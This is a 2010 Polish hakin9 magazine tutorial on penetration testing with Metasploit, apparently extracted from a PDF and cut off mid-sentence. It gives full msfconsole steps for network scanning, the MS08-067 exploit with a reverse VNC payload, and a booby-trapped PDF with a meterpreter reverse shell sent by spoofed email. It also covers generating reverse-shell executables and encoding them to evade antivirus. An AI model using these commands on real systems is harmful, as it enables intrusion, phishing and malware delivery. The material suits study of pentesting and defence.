Uploaded by piotr.koscianski

2010.03 Metasploit w praktyce

advertisement
ATAK
WOJCIECH SMOL
Metasploit
w praktyce
Stopień trudności
Artykuł przedstawia krok po kroku wszystko to, co każdy
zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć
o testach penetracyjnych oraz metodach stosowanych przez
komputerowych włamywaczy, ale bał się własnoręcznie
sprawdzić...
B
Z ARTYKUŁU
DOWIESZ SIĘ
czym jest ofensywne
bezpieczeństwo,
na czym polegają testy
penetracyjne,
jakie praktyczne możliwości
oferuje Metasploit Framework,
w jaki sposób komputerowi
włamywacze odkrywają luki w
systemach informatycznych
i w jaki sposób się do nich
włamują.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe rodzaje
ataków na systemy
informatyczne,
znać podstawy obsługi
systemu Linux.
20 HAKIN9 3/2010
ezpieczeństwo proaktywne od
dawna przestało być wyłącznie
modnym sloganem nadużywanym
przez służby marketingowe szeregu
firm oferujących rozwiązania z zakresu
bezpieczeństwa informatycznego. Wobec
zagrożeń ewoluujących w rewolucyjnym
tempie, zabezpieczenia proaktywne wydają
się być jedynym sensowym sposobem
na zapewnienie zadowalającego poziomu
bezpieczeństwa infrastruktury informatycznej.
Co więcej, w najbliższym przewidywalnym
czasie, tego rodzaju zabezpieczenia nie będą
miały żadnych godnych konkurentów.
Ogólnie rzecz biorąc, bezpieczeństwo
proaktywne skupia się na metodach mających
zapobiec zaistnieniu skutecznych ataków
(samym próbom ataków zapobiec nie możemy)
na serwery, stacje robocze oraz sieci i wszelkie
inne systemy komputerowe. Przykładem
takiego systemu bezpieczeństwa jest NIPS
(ang. Network Intrusion Prevention System),
którego zadaniem jest nie tylko wyrycie ataku
sieciowego, ale również zareagowanie na
niego, np. poprzez zablokowanie adresu IP, z
którego atak pochodzi. Proaktywnym działaniem
jest jednak również... poczciwe instalowanie
poprawek bezpieczeństwa, które również mogą
nas przecież uchronić przed udanym (z punktu
widzenia włamywacza) atakiem.
Jednak nawet najbardziej ortodoksyjne
łatanie wszystkich posiadanych systemów
oraz stosowanie systemów wykrywania i
przeciwdziałania włamaniom nie uchroni nas
przed wszystkimi rodzajami ataków. Może się
przecież zdarzyć, że dana podatność na atak
jest już powszechnie znana, jednak producent
dziurawego oprogramowania nie zdążył
jeszcze opublikować stosownej poprawki.
W związku z wszystkimi ograniczeniami
tradycyjnych metod zabezpieczania systemów
informatycznych, okazało się, że jedną z
najskuteczniejszych metod obrony własnych
zasobów jest... poddanie ich testowym atakom
za pomocą narzędzi stosowanych przez
włamywaczy! W ten oto sposób narodził się
kolejny element bezpieczeństwa proaktywnego
– bezpieczeństwo ofensywne (ang. Offensive
Security).
Atak najlepszą obroną
Podejście defensywne do tematu
bezpieczeństwa informatycznego (ang.
Defensive Security) zakłada wdrażanie
oraz pielęgnowanie systemów mających
za zadanie przeciwdziałanie potencjalnym
atakom na infrastrukturę danej organizacji.
Przykładem defensywnego systemu może
być dobrze znany od wielu lat system zapory
sieciowej, chroniący wewnętrzną sieć oraz
serwery przed atakami pochodzącymi z
Internetu. Tego rodzaju system po wdrożeniu
i skonfigurowaniu działa automatycznie, nie
wymagając częstych zmian konfiguracyjnych.
METASPLOIT W PRAKTYCE
Czy jednak stosowane w danej
organizacji systemy oraz procedury
składające się na ogół bezpieczeństwa
defensywnego są rzeczywiście w pełni
skuteczne w obliczu najnowszych
znanych ataków?
Problem w tym, że nie poznamy
odpowiedzi na powyższe pytanie, jeśli nie
zastosujemy metod określanych ogólnie
mianem bezpieczeństwa ofensywnego
(ang. Offensive Security). Bezpieczeństwo
ofensywne natomiast opiera się przede
wszystkim na praktycznym sprawdzaniu
bieżącego stanu bezpieczeństwa
systemu teleinformatycznego.
Praktycznym do tego stopnia, że
wykorzystuje w swych testach narzędzia
stosowane przez... komputerowych
włamywaczy. Osoba zajmująca się
ofensywnym bezpieczeństwem będzie
więc szukać w testowanym systemie
luk za pomocą skanera Nessus, czy
też określać widoczność komputerów
oraz ich usług za pomocą skanera
nmap. Najciekawszą część takiego
przedsięwzięcia będą jednak stanowić
testy penetracyjne.
Testy penetracyjne stanowią
metodę oceny bezpieczeństwa
systemu informatycznego poprzez
symulowanie prawdziwych ataków
mogących pochodzić od potencjalnych
włamywaczy. Tester (zwany często
etycznym hakerem lub pentesterem),
korzystając z prawdziwych narzędzi
umożliwiających wykonanie udanego
włamania, próbuje przełamać
zabezpieczenia testowanego systemu.
Dopiero tego rodzaju testy są w stanie
odpowiedzieć na pytanie, czy dany
system informatyczny jest rzeczywiście
odporny na znane obecnie rodzaje
ataków. Tego rodzaju działania,
polegające na wykonywaniu testowych
włamań do własnych systemów (lub
cudzych, za pełną zgodą uprawnionych
administratorów oraz właścicieli) będą
stanowić z pewnością fascynującą
przygodę dla wszystkich osób
zainteresowanych bezpieczeństwem
informatycznym. Pozwoli nam to również
na lepsze zrozumienie tego, w jaki
sposób komputerowym włamywaczom
udaje się przełamywać zabezpieczenia
kolejnych systemów.
Profesjonalne przeprowadzenie
testów penetracyjnych, zakończone
utworzeniem szczegółowego raportu
na temat wszystkich odkrytych
zagrożeń wraz z proponowanymi
krokami zabezpieczającymi, może się
wiązać z koniecznością wynajęcia
firmy specjalizującej się w tego typu
usługach. Należy jednak pamiętać,
że tego rodzaju testy musiałyby być
przeprowadzane okresowo. Można
również rozważyć zastosowanie
zautomatyzowanego narzędzia
stworzonego specjalnie do tego rodzaju
testów. Za najlepszy tego rodzaju system
uznaje się powszechnie Core Impact
firmy Core Security Technologies.
Narzędzie to jest w stanie za pomocą
ogromnej bazy komercyjnych exploitów
automatycznie atakować i przejmować
kontrolę nad testowanymi komputerami.
Core Impact zdolny jest nawet do
wykonywania kolejnych ataków z
poziomu przejętych już maszyn. Niestety,
za tak rozbudowaną i zautomatyzowaną
funkcjonalność trzeba jednak zapłacić
grube tysiące dolarów. Na szczęście,
w 2004 roku powstał darmowy oraz
otwarty (open source) projekt Metasploit
Framework, pozwalający każdemu
zainteresowanemu na zgłębienie
fascynującego świata etycznego
hakingu.
Metasploit Framework pozwala nie
tylko na używanie zawartych w nim
w sposób modularny exploitów, ale
również na tworzenie oraz testowanie
własnych lub przerabianie tych już
istniejących. Można więc powiedzieć,
że możliwości przeprowadzania testów
penetracyjnych za pomocą środowiska
Mestasploit są nawet większe niż w
przypadku rozwiązań komercyjnych.
Wszystko to jest oczywiście okupione
brakiem daleko posuniętego
zautomatyzowania testu. Pod pewnym
względem jest to jednak zaletą, gdyż
ręczne konfigurowanie exploitów,
payloadów (programów wykonywanych
w przejętym systemie po udanym
włamaniu testowym) oraz całego
środowiska pracy testera przyczyni się
z pewnością do lepszego zrozumienia
wszystkich aspektów przeprowadzanych
włamań testowych.
Praktyka czyni mistrza!
Moim celem nie jest omówienie
wszystkich, niezliczonych możliwości
środowiska Metasploit. Nie będę
się również zajmował istniejącymi
metodologiami przeprowadzania testów
penetracyjnych, takimi jak OSSTMM
(ang. Open Source Security Testing
Methodology Manual). Niniejszy artykuł
stanowi więc zaledwie wprowadzenie
do tematu testów penetracyjnych
z wykorzystaniem środowiska
Metasploit Framework, w postaci
kilku praktycznych przykładów ataków
testowych. Prawie wszystkie osoby
zainteresowane bezpieczeństwem
informatycznym słyszały bowiem
o projekcie Metasploit, ale tylko
nieliczni widzieli jego możliwości w
praktyce. Takie praktyczne przykłady
najlepiej więc zilustrują możliwości
całego środowiska oraz zachęcą
zainteresowane osoby do dalszego
zgłębiania tego niezwykle ciekawego
tematu.
Jako środowisko pracy z Metasploit
Framework polecam dystrybucję
Linux LiveCD BackTrack 4. Ta jedna
z najbardziej cenionych przez
osoby, zajmujące się ofensywnym
bezpieczeństwem, dystrybucja
zawiera dziesiątki wbudowanych oraz
skonfigurowanych do pracy narzędzi
wykorzystywanych przez pentesterów,
takich jak właśnie środowisko
Metasploit. Dysponując więc
systemem BackTrack, możemy od razu
rozpocząć naszą przygodę z testami
penetracyjnymi.
Po uruchomieniu systemu
(domyślne poświadczenia: root/toor)
BackTrack musimy przede wszystkim
skonfigurować interfejs sieciowy. W celu
automatycznego pobrania konfiguracji
z serwera DHCP przyda się polecenie
dhclient .
Zanim przystąpimy do pracy ze
środowiskiem Metasploit, warto wiedzieć,
że w jego ramach istnieje kilka różnych
interfejsów użytkownika, a mianowicie:
•
•
•
msfconsole,
msfcli,
msfgui,
msfweb.
3/2010 HAKIN9
21
ATAK
Każdy z wymienionych interfejsów
posiada zarówno wady, jak i zalety.
Jednakże msfconsole jest środowiskiem
najbardziej stabilnym, najczęściej
aktualizowanym oraz pozwalającym na
dostęp do praktycznie wszystkich funkcji
oferowanych przez środowisko Metasploit.
Z tego powodu, w dalszych rozważaniach
skupimy się wyłącznie na tym interfejsie.
W systemie BackTrack 4, dostęp do
msfconsole uzyskamy wykonując (będąc
w katalogu /pentest/exploits/framework3/ )
polecenie ./msfconsole lub też wybierając
z głównego systemowego menu opcję
Backtrack/Penetration/Framework
Version 3/msfconsole. Środowisko
msfconsole pozwala na wykonywanie
zewnętrznych poleceń, możemy więc
przykładowo wywołać polecenie ping -c
1 hakin9.org. W celu uzyskania pomocy
wystarczy skorzystać z poleceń help
lub ?. Msfconsole oferuje również opcję
uzupełniania wprowadzanych poleceń,
dostępną za pomocą przycisku Tab.
Jednym z najbardziej przydatnych
poleceń, które musimy poznać, jest
komenda show. Pozwala ona na
wyświetlenie wszystkich modułów
obecnych w środowisku Metasploit. Nie
mniej przydatne będą również pozostałe
komendy z rodziny show:
•
•
•
•
•
Ponadto, poszczególne komendy
zwracają wyniki dostosowane do
bieżącego wyboru użytkownika.
Przykładowo polecenie show
payloads wyświetli wyłącznie payloady
odpowiednie dla bieżącego modułu
exploitu.
Inne komendy, jakie należy sobie
przyswoić przed rozpoczęciem
skutecznych testów penetracyjnych, to:
show auxiliary – wyświetlenie
modułów pomocniczych (takich jak
skanery, moduły ataków DoS i inne),
•
•
•
•
•
•
•
•
search – wbudowana funkcja
wyszukiwania w oparciu o wyrażenia
regularne,
info – wyświetlenie szczegółowych
informacji o danym module,
use – wybór danego modułu do
dalszego działania,
•
•
•
•
Rysunek 1. Konsola msfconsole w systemie BackTrack Linux LiveCD
22 HAKIN9 3/2010
connect – podłączenie się do
zdalnego hosta o określonym w
parametrach adresie IP oraz porcie,
set – ustawianie wartości
parametrów dla bieżącego modułu,
check – sprawdzenie podatności
docelowego systemu na bieżący
moduł,
setg – ustawienie zmiennej globalnej
w środowisku msfconsole,
exploit – uruchomienie bieżącego
exploitu,
run – uruchomienie bieżącego
modułu pomocniczego,
back – wyjście z trybu bieżącego
modułu.
Ten niewielki zbiór przedstawionych
powyżej poleceń, pozwala nam już na
rozpoczęcie pełnoprawnych testów
penetracyjnych. Warto jeszcze tylko
zapamiętać sobie typowe kroki, które
należy wykonać, w celu wykonania
udanego włamania testowego za
pomocą środowiska Metasploit, są to
kolejno:
•
•
•
•
show exploits – wyświetlenie
wszystkich dostępnych exploitów,
show payloads – wyświetlenie
wszystkich dostępnych payloadów
(programów wykonywanych w
docelowym systemie po udanym
włamaniu testowym),
show options – wyświetlenie
wszystkich opcji dostępnych w
ramach bieżącego modułu,
show targets – wyświetlenie listy
systemów podatnych na działanie
bieżącego modułu,
show advanced – wyświetlenie
zaawansowanych opcji dostępnych
w ramach bieżącego modułu.
wybór oraz konfiguracja
odpowiedniego exploitu (kodu
będącego w stanie spenetrować
docelowy system, wykorzystując do
tego jedną ze znajdujących się w
nim luk),
sprawdzenie, czy docelowy system
jest podatny na działanie wybranego
exploitu (opcjonalnie),
wybór oraz konfiguracja
odpowiedniego payloadu (kodu
wykonywanego w spenetrowanym
systemie po udanym wykonaniu się
exploitu),
wybór metody kodowania payloadu
(opcjonalnie, kodowanie ma na
celu uniknięcie wykrycia ataku przez
systemy takie jak IDS),
wykonanie właściwego ataku
testowego.
Zanim jednak zaczniemy na dobre,
zaktualizujmy jeszcze całe środowisko
Metasploit za pomocą polecenia svn
update. W jego wyniku rozpocznie się
automatyczny proces aktualizacyjny,
dzięki któremu do dyspozycji otrzymamy
wszystkie najnowsze, dostępne na
METASPLOIT W PRAKTYCE
obecną chwilę moduły. Wyposażeni
w odpowiednią wiedzę oraz broń
załadowaną najnowszą amunicją
możemy wreszcie przystąpić do ataku.
Rekonesans
Pierwszym etapem działania
komputerowego włamywacza
planującego zaatakowanie danej
infrastruktury informatycznej jest
zawsze rekonesans. Jest to zespół
metod technicznych, ale również
socjotechnicznych, mający na celu
pozyskanie wszelkich dostępnych
informacji na temat atakowanej
infrastruktury oraz zarządzającego
nią personelu. Najczęściej stosowane
na etapie rekonesansu narzędzia, to
między innymi: najrozmaitsze skanery
portów i usług, Open source intelligence
(zdobywania informacji wywiadowczych z
ogólnie dostępnych źródeł, np. z pomocą
techniki Google Hacking), wyciąganie
danych zawartych w systemach DNS,
itp. Temat rekonesansu omówiłem
szczegółowo w artykule Rozpoznanie
przed atakiem opublikowanym na
łamach magazynu hakin9 07/2009.
Celem takiego wywiadu jest
oczywiście określenie jakiego
rodzaju system operacyjny, usługi
serwerowe, programy itd. pracują na
serwerach, stacjach roboczych oraz
specjalizowanych urządzeniach (takich
jak sprzętowe systemy NIDS) w docelowej
infrastrukturze. Dopiero uzyskanie takiej
wiedzy pozwoli włamywaczowi na
zaatakowanie konkretnych systemów
i usług za pomocą przeznaczonych
specjalnie dla nich exploitów.
Testy penetracyjne symulujące
działanie prawdziwych włamywaczy
również muszą rozpocząć się od
zebrania podobnych informacji o
testowanej infrastrukturze. Takie działanie
pozwoli następnie na testowanie
konkretnych systemów za pomocą
wyłącznie odpowiednich modułów.
Nie ma przecież żadnego sensu
testowanie serwera pracującego pod
kontrolą Linuksa za pomocą exploitu
stworzonego dla systemów Windows.
Środowisko Metasploit Framework
oczywiście w pełni wspiera etap
rekonesansu, przede wszystkim
w postaci szeregu modułów
pomocniczych (ang. Auxiliary Modules).
Przykładowo, chcąc odnaleźć moduły
pozwalające na skanowanie portów,
wystarczy skorzystać z polecenia
search portscan. Większość modułów
pomocniczych, a w szczególności
wszystkie skanery, mogą zostać (za
pomocą opcji RHOSTS ) skonfigurowane
do pracy z całymi zakresami adresów
IP zapisanymi w postaci 192.168.10.10192.168.10.20 lub też za pomocą zapisu
CIDR (np. 192.168.10.0/24). Możliwe jest
również podawanie kilku zakresów (np.
192.168.10.0/24, 192.168.20.0/24).
Przeskanujmy więc sieć 192.168.0.0/
24 w poszukiwaniu maszyn o otwartym
porcie 80. W tym celu w środowisku
msfconsole wystarczy wykonać
następujące polecenia:
•
•
•
•
•
use scanner/portscan/syn (wybór
oraz wejście w tryb konfiguracji
modułu skanera syn),
show options (wyświetlenie
wszystkich opcji dostępnych w
ramach wybranego skanera),
set INTERFACE eth0 (wybranie
systemowego interfejsu sieciowego),
set PORTS 80 (ustawienie numeru
portów do przeskanowania),
set RHOSTS 192.168.0.0/24
(ustawienie zakresu adresów IP do
przeskanowania),
•
•
set THREADS 10 (ustawienie liczby
współbieżnych wątków skanowania),
run (uruchomienie właściwego
skanowania).
W efekcie otrzymamy listę adresów o
otwartych portach nr 80, w następującej
postaci:
[*] TCP OPEN 192.168.0.1:80
[*] TCP OPEN 192.168.0.150:80
[*] Auxiliary module execution completed
Załóżmy teraz, że naszym celem jest
ustalenie wersji systemów Windows
oraz wersji serwerów Samba
pracujących na maszynach Unix/
Linux w sieci 192.168.1.0/24. Zadanie
to z pozoru wydaje się już być nieco
bardziej skomplikowane od swego
poprzednika. W rzeczywistości w
celu uzyskania pożądanych wyników,
wystarczy tylko ponownie skorzystać
z odpowiedniego modułu Metaspoloit
(scanner/smb/version)! Tym razem
procedura będzie więc wyglądać
następująco:
•
•
use scanner/smb/version (wybór
oraz wejście w tryb konfiguracji
modułu skanera smb/version),
set RHOSTS 192.168.1.0/24
(ustawienie zakresu adresów IP do
przeskanowania),
Rysunek 2. Exploit ms08_067_netapi w akcji – sesja VNC do systemu Windows XP
została nawiązana
3/2010 HAKIN9
23
ATAK
•
[*] IsClustered = No
[*] ServerName = ZHAKUJMNIE-0
[*] Auxiliary module execution completed
•
Metasploit Framework udostępnia
wiele równie interesujących modułów,
przydatnych na etapie rekonesansu.
Z najciekawszych i najczęściej
wykorzystywanych warto jeszcze wymienić:
•
[*] 192.168.1.10 is running Windows
7 Enterprise (Build 7600) (language:
Unknown)
[*] 192.168.1.126 is running Unix Samba
3.0.22 (language: Unknown)
[*] 192.168.1.161 is running Windows
2003 R2 Service Pack 2 (language:
Unknown)
[*] 192.168.1.221 is running Windows XP
Service Pack 3 (language: English)
[*] Auxiliary module execution completed
•
•
•
Co natomiast możemy zrobić, jeśli
chcielibyśmy odnaleźć serwery MSSQL
(nawet te korzystające z dynamicznego
portu TCP) pracujące w danej sieci?
Oczywiście ponownie wystarczy tylko
skorzystać z odpowiedniego modułu
środowiska Metasploit! Tym razem
będzie to moduł scanner/mssql/
mssql_ping, a cała procedura wygląda
następująco:
•
•
set THREADS 50 (ustawienie liczby
współbieżnych wątków skanowania),
run (uruchomienie właściwego
skanowania).
W efekcie otrzymamy listę adresów wraz
z oczekiwanymi informacjami o wersjach
systemów Windows oraz serwerach
Samba, w następującej postaci:
•
•
•
•
use scanner/mssql/mssql_ping
(wybór oraz wejście w tryb
konfiguracji modułu skanera mssql/
mssql_ping),
set RHOSTS 192.168.1.0/24
(ustawienie zakresu adresów IP do
przeskanowania),
set THREADS 50 (ustawienie liczby
współbieżnych wątków skanowania),
run (uruchomienie właściwego
skanowania).
W efekcie otrzymamy listę odnalezionych
serwerów MSSQL wraz z szeregiem
informacji na ich temat, przykładowo:
[*] SQL Server information for
192.168.1.250:
[*] tcp = 1433
[*] np = ZHAKUJMNIE-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
24 HAKIN9 3/2010
•
•
scanner/ip/ipidseq (skanowanie Idle),
scanner/ssh/ssh_version
(wykrywanie wersji serwera SSH),
scanner/ftp/anonymous (wykrywanie
serwerów FTP zezwalających
na anonimowe zalogowanie
użytkownika),
scanner/snmp/community
(wykrywanie domyślnych ustawień
community strings dla urządzeń
zarządzanych za pomocą protokołu
SNMP),
auxiliary/sniffer/psnuffle (moduł
będący w stanie podsłuchiwać
hasła używane w protokołach
pop3, imap, ftp, oraz HTTP. Oferuje
funkcjonalność podobną do
programu Dsniff.).
Na etapie rekonesansu, warto również
skorzystać z modułu scanner/vnc/vnc_
none_auth, który pozwala na wykrycie
serwerów VNC niezabezpieczonych
żadnym hasłem. Wykorzystanie
tego prostego w obsłudze skanera
(praktycznie wystarczy tylko ustawić
zakres adresów IP do przeskanowania)
może dać bardzo zaskakujące rezultaty.
Może się bowiem okazać, że już na
etapie rekonesansu uda nam się
uzyskać pełny dostęp do graficznego
środowiska niektórych maszyn
pracujących w testowanej infrastrukturze!
Warto również wiedzieć o istnieniu
skanera będącego w stanie wyszukać
wszystkie zasoby udostępnione za
pomocą protokołu SMB i chronione
za pomocą określonych poświadczeń.
Jeśli więc znamy kombinację nazwy
użytkownika oraz hasła aktywną na
jednej z maszyn lub podejrzewamy, że
dane poświadczenia mogą być gdzieś
w testowanej sieci wykorzystywane
do udostępniania zasobów, możemy
skorzystać z następującej procedury:
•
•
•
use auxiliary/scanner/smb/
login (wybór oraz wejście w tryb
konfiguracji modułu skanera smb/
login),
set RHOSTS 192.168.1.0/24
(ustawienie zakresu adresów IP do
przeskanowania),
set SMBUser uzytkowniksmb
(ustawienie prawdopodobnej nazwy
użytkownika),
set SMBPass haslouzytkownika
(ustawienie prawdopodobnego hasła
użytkownika),
set THREADS 50 (ustawienie liczby
współbieżnych wątków skanowania),
run (uruchomienie właściwego
skanowania).
W efekcie otrzymamy listę adresów
wraz z informacją, czy testowane
poświadczenia pozwoliły na dostęp
do zasobów udostępnianych poprzez
protokół SMB, przykładowo:
[*] 192.168.1.14 - FAILED 0xc000006d
- STATUS_LOGON_FAILURE
[*] 192.168.1.45 - FAILED 0xc000006d
- STATUS_LOGON_FAILURE
[*] 192.168.1.216 - SUCCESSFUL LOGIN
(Unix)
[*] Auxiliary module execution completed
Jak widać z powyższych przykładów,
Metasploit Framework udostępnia
funkcje w niczym nie ustępujące tak
znanym programom jak Nmap, czy też
Nessus, a to dopiero zaledwie początek
jego możliwości!
Właściwy atak testowy
Przeprowadzony rekonesans pozwolił
nam na zebranie podstawowych
informacji na temat poszczególnych
systemów pracujących w testowanej
infrastrukturze. Na tym etapie powiśmy
już więc znać:
•
•
•
adresy IP poszczególnych maszyn i
urządzeń,
numery otwartych portów TCP/UDP
dla poszczególnych adresów IP,
rodzaje oraz wersje systemów
operacyjnych pracujące na
poszczególnych maszynach/
urządzeniach,
METASPLOIT W PRAKTYCE
•
•
usługi serwerowe (serwery WWW,
pocztowe, bazodanowe itd.) dostępne
pod konkretnymi adresami IP,
podstawowe błędy konfiguracyjne
poszczególnych maszyn (takie jak
obecność niezabezpieczonych
serwerów VNC, otwarte udziały SMB,
itd.).
Dysponując tego rodzaju wiedzą,
możemy przejść do właściwych
testów penetracyjnych, czyli za
pomocą odpowiednio dobranych
exploitów sprawdzić rzeczywistą
podatność testowanych systemów na
poszczególne ataki.
Jako przykład testu penetracyjnego
z prawdziwego zdarzenia, spróbujemy
przejąć pełną kontrolę nad systemem
Windows XP za pomocą exploitu
windows/smb/ms08_067_netapi. Moduł
ten jest w stanie wykorzystać krytyczny
błąd w zabezpieczeniach usługi Serwer
(Biuletyn zabezpieczeń firmy Microsoft
MS08-067) obecny w wielu systemach
z rodziny Windows i pozwalający na
zdalne wykonanie kodu. Warunkiem
udanego włamania testowego jest
brak w docelowym systemie poprawki
bezpieczeństwa KB921883. Jako
payload wykorzystamy moduł windows/
vncinject/reverse_tcp. W wyniku
udanego testu otrzymamy więc w pełni
funkcjonalną sesję VNC pozwalającą
na swobodne zarządzanie docelowym
systemem. Procedura testu wygląda
następująco:
•
•
•
•
use windows/smb/ms08_067_
netapi (wybór oraz wejście w tryb
konfiguracji modułu exploitu ms08_
067_netapi),
set RHOST 192.168.0.71 (ustawienie
adresu IP systemu poddawanego
testowi),
set target 0 (ustawienie
automatycznego wyboru celu
– automatyczne dostosowanie się
exploitu do wersji systemu Windows
pracującego na docelowym
komputerze),
set payload windows/vncinject/
reverse_tcp (wybór oraz wejście w
tryb konfiguracji modułu payloadu
vncinject/reverse_tcp),
•
•
set lhost 192.168.0.100 (ustawienie
adresu IP systemu pentestera,
z którym payload ma nawiązać
połączenie reverse VNC),
exploit .
W efekcie otrzymamy sesję VNC, za
pomocą której możemy zarządzać
zdalnym systemem!
W podobny sposób możemy
testować bezpieczeństwo innych
systemów operacyjnych oraz usług
pracujących w docelowej infrastrukturze.
Na etapie rekonesansu odnaleźliśmy
za pomocą wspomnianego już skanera
mssql_ping serwer MSSQL? Pora na
sprawdzenie jego zabezpieczeń za
pomocą odpowiednich exploitów. W celu
odnalezienia odpowiednich modułów
wystarczy skorzystać z polecenia
search mssql. W wyniku otrzymamy
kilka modułów, między innymi windows/
mssql/mssql_payload. Za pomocą
polecenia info windows/mssql/mssql_
payload uzyskamy więcej informacji na
temat wybranego modułu. Show options
pozwoli natomiast na wyświetlenie
wszystkich dostępnych opcji i w efekcie
uruchomienie modułu przeciwko
wybranej maszynie.
Tego rodzaju podejście stanowi
właśnie o sile Metasploit Framework!
Otrzymujemy bowiem kilkaset exploitów
stworzonych przez różnych autorów,
jednakże każdy z modułów dostępny
jest za pomocą wspólnego interfejsu,
wyposażony jest w podobne opcje
konfiguracyjne i może być szybko
odnaleziony za pomocą prostej kwerendy.
Początkujący pentester musi więc tylko
opanować podstawowe polecenia
msfconsole i przebrnąć przez kilka
pierwszych ataków testowych, a dalsza
praca z Metaspoloit Framework powinna
być już tylko czystą przyjemnością!
Nie tylko exploity
Oprócz typowych exploitów będących
w stanie w sposób zautomatyzowany
wykorzystywać luki w oprogramowaniu
Rysunek 3. Tylko 7 z 41 silników antywirusowych rozpoznało payload zakodowany
przez msfencode
3/2010 HAKIN9
25
ATAK
ofiary, Metasploit pozwala także na
przeprowadzania ataków wymagających
interwencji ze strony użytkownika
docelowego systemu. Tego rodzaju ataki
zyskują coraz większą popularność i nic
nie stoi na przeszkodzie, by uwzględnić
je w procedurze testów penetracyjnych.
Przykładowo moduł adobe_utilprintf
pozwala na wygenerowanie pliku PDF,
który po uruchomieniu przez użytkownika
na docelowej maszynie pozwoli nam
na przejęcie kontroli nad systemem
ofiary. W celu wykonania takiego ataku
testowego wystarczy tylko skorzystać z
następującej procedury:
•
•
•
•
•
•
use exploit/windows/fileformat/
adobe_utilprintf (wybór oraz wejście
w tryb konfiguracji modułu adobe_
utilprintf ),
set FILENAME
ZarzadzeniePrezesa.pdf (ustawienie
nazwy pliku zachęcającej do jego
otwarcia),
set PAYLOAD windows/meterpreter/
reverse_tcp (wybór payloadu, który
ma zostać uruchomiony poprzez
złośliwy plik PDF),
set LHOST 192.168.10.128 (ustawienie
adresu komputera mającego
uzyskać dostęp do komputera
ofiary),
set LPORT 4455 (ustawienie portu,
na którym ma się odbyć połączenie),
exploit (wygenerowanie pliku PDF).
W wyniku otrzymamy (domyślnie w
katalogu /pentest/exploits/framework3/
data/exploits) specjalnie spreparowany
plik ZarzadzeniePrezesa.pdf.
Zanim prześlemy nasz plik
docelowemu użytkownikowi,
przygotujemy sobie jeszcze moduł,
który będzie zdolny do obsłużenia
połączenia z naszą ofiarą. Oczywiście
ponownie posłużymy się środowiskiem
msfconsole :
•
•
use exploit/multi/handler (wybór oraz
wejście w tryb konfiguracji modułu
handler),
set PAYLOAD windows/meterpreter/
reverse_tcp (informacja dla hanldera
odnośnie tego z jakim payloadem
połączenia ma się spodziewać),
26 HAKIN9 3/2010
•
•
•
set LPORT 4455,
set LHOST 192.168.10.128,
exploit .
W tym momencie dysponujemy już
listenerem oczekującym połączenia. Teraz
wystarczy już tylko przesłać potencjalnej
ofierze plik ZarzadzeniePrezesa.pdf. Jeśli
wiadomość e-mail będzie wystarczająco
przekonywująca (możemy przecież w
stosunkowo prosty sposób podrobić
nadawcę wiadomości e-mail tak, by
nadawcą było np. konto pocztowe
używane przez biuro zarządu; może
nam do tego celu posłużyć dostępny w
środowisku BackTrack skrypt sendEmail)
użytkownik docelowego systemu
prawdopodobnie otworzy nasz plik.
Jeśli tylko na komputerze znajduje się
oprogramowanie Adobe Reader 8.1.2
(wersja podatna na błąd przepełnienia
bufora, który wykorzystuje wybrany przez
nas moduł), to pentester uzyska dostęp
do docelowego komputera za pomocą
następującej konsoli:
session[*] Meterpreter session
1 opened (192.168.10.128:4455 ->
192.168.10.160:49322)
meterpreter >
Zwróćmy jeszcze uwagę na kilka
szczegółów. Warto (tak jak to pokazano
w powyższym przykładzie) zmieniać
domyślną wartość zmiennej LPORT
(4444), gdyż port 4444, ze względu
właśnie na domyślne wykorzystanie
w wielu modułach Metasploit, może
być w niektórych organizacjach
szczególnie monitorowany lub po prostu
blokowany. Payloady typu reverse
(takie, które nawiązują połączenie
z przejętej maszyny do komputera
pentestera) mają szczególną szansę
na powodzenie. Wynika to z faktu, że
ewentualne systemy typu firewall obecne
w docelowym systemie, będą zazwyczaj
bardziej skłonne do zezwolenia na
połączenia wychodzące z systemu niż te
do niego przychodzące.
Metasploit daje nam również
możliwość łatwego wygenerowania
wykonywalnego pliku EXE na podstawie
wybranego payloadu. Przykładowo
w celu wygenerowania pliku EXE w
oparci o payload shell_reverse_tcp
wystarczy tylko w wierszu poleceń
systemu BackTrack (będąc w katalogu
/pentest/exploits/framework3)
wykonać następujące polecenie:
./msfpayload windows/shell_reverse_tcp
LHOST=192.168.10.128 LPORT=4455 X
> /tmp/program.exe. Plik program.exe,
który powstał w wyniku powyższego
polecenia w katalogu /tmp może
następnie zostać użyty do ataku
socjotechnicznego, zachęcającego
użytkownika zdalnego systemu
do jego uruchomienia. Jeśli tylko
użytkownik docelowego systemu
uruchomi tak spreparowany plik,
udostępni tym samym pentesterowi
dostęp do własnego systemu za
pomocą zdalnego wiersza poleceń.
Tester, w celu odebrania zdalnego
połączenia, będzie musiał jeszcze tylko
skonfigurować moduł exploit/multi/
handler w sposób analogiczny do
procedury przedstawionej w poprzednim
przykładzie (zmianie ulegnie jedynie
parametr set payload windows/shell/
reverse_tcp, co pozwoli na odebranie
połączenia od zawartego w pliku EXE
payloadu shell/reverse_tcp).
Tak przygotowany plik EXE będzie
spełniał swoje zadania, jednak istnieje
duże prawdopodobieństwo, że zostanie
wykryty jako złośliwe oprogramowanie
przez program antywirusowy działający
w docelowym systemie. Jednak i z tym
możemy sobie poradzić z pomocą
środowiska Metasploit! Nasz plik
wykonywalny może bowiem zostać
zakodowany za pomocą dostępnego w
ramach Metasploit polecenia msfencode.
W celu wyświetlenia dostępnych technik
kodowania, możemy wywołać z poziomu
wiersza poleceń systemu BackTrack
(będąc w katalogu /pentest/exploits/
framework3) komendę ./msfencode
-l. Spośród wielu dostępnych technik
kodowania wybierzemy doskonały
moduł x86/shikata_ga_nai. Ostatecznie,
polecenie generujące zakodowany plik
wykonywalny będzie miało następującą
postać: ./msfpayload windows/shell_
reverse_tcp LHOST=192.168.10.128
LPORT=4455 R | ./msfencode -e
x86/shikata_ga_nai -t exe > /tmp/
program2.exe. Istnieje możliwość, że
METASPLOIT W PRAKTYCE
mimo takiego kodowania, program
antywirusowy nadal będzie w stanie
wykryć zagrożenie. W celu uzyskania
jeszcze większej niewykrywalności,
można jednak zastosować jednoczesne
kodowanie za pomocą kilku metod
oraz kilku przebiegów stosując w
powyższym poleceniu np. taki zestaw
parametrów kodowania: ./msfencode
-e x86/shikata_ga_nai -t raw -c 5 | ./
msfencode -e x86/call4_dword_xor -t raw
-c 5 | ./msfencode -e x86/countdown. W
